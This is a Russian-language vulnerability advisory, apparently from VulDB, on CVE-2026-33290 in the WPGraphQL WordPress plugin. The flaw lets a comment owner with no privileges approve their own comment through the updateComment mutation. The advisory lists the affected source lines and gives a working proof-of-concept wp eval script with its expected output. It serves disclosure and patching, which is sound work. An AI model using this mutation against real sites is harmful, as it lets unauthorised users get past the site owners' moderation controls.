CVE-2026-33290 in wp-graphql
Сводка
по VulDB • 28.05.2026
WPGraphQL предоставляет GraphQL API для сайтов на WordPress. До версии 2.10.0 уязвимость в механизме авторизации функции updateComment позволяла аутентифицированному пользователю с низкими привилегиями (включая пользовательскую роль с нулевыми правами) изменять статус модерации своего собственного комментария (например, на APPROVE) без наличия права moderate_comments. Это позволяет обойти процессы модерации и позволить непроверенным пользователям самостоятельно одобрять контент. Версия 2.10.0 содержит исправление.
### Детали
В WPGraphQL версии 2.9.1 (протестировано) авторизация для updateComment основана на владельце, а не на полях:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 разрешает модераторам. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 также разрешает владельцу комментария, даже если у него нет прав на модерацию. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 напрямую сопоставляет входные данные GraphQL status с полем WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 сохраняет это значение через wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 предоставляет доступ к состояниям модерации (APPROVE, HOLD, SPAM, TRASH).
Это означает, что владелец, не являющийся модератором, может указать статус при обновлении и изменить состояние модерации.
### PoC
Протестировано в локальной среде wp-env (Docker) с WPGraphQL 2.9.1.
1. Запуск среды:
npm install npm run wp-env start
2. Запуск PoC:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. Наблюдение за результатом:
- role_caps пуст (или отсутствует moderate_comments) - мутация возвращает status: APPROVE - значение в БД становится comment_approved = 1
### Влияние
Это проблема обхода авторизации / нарушенного контроля доступа при переходе состояний модерации комментариев. Любое развертывание WPGraphQL с мутациями комментариев, где пользователи с низкими привилегиями могут оставлять комментарии, подвержено риску. Политика модерации может быть обойдена путем самостоятельного одобрения контента.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.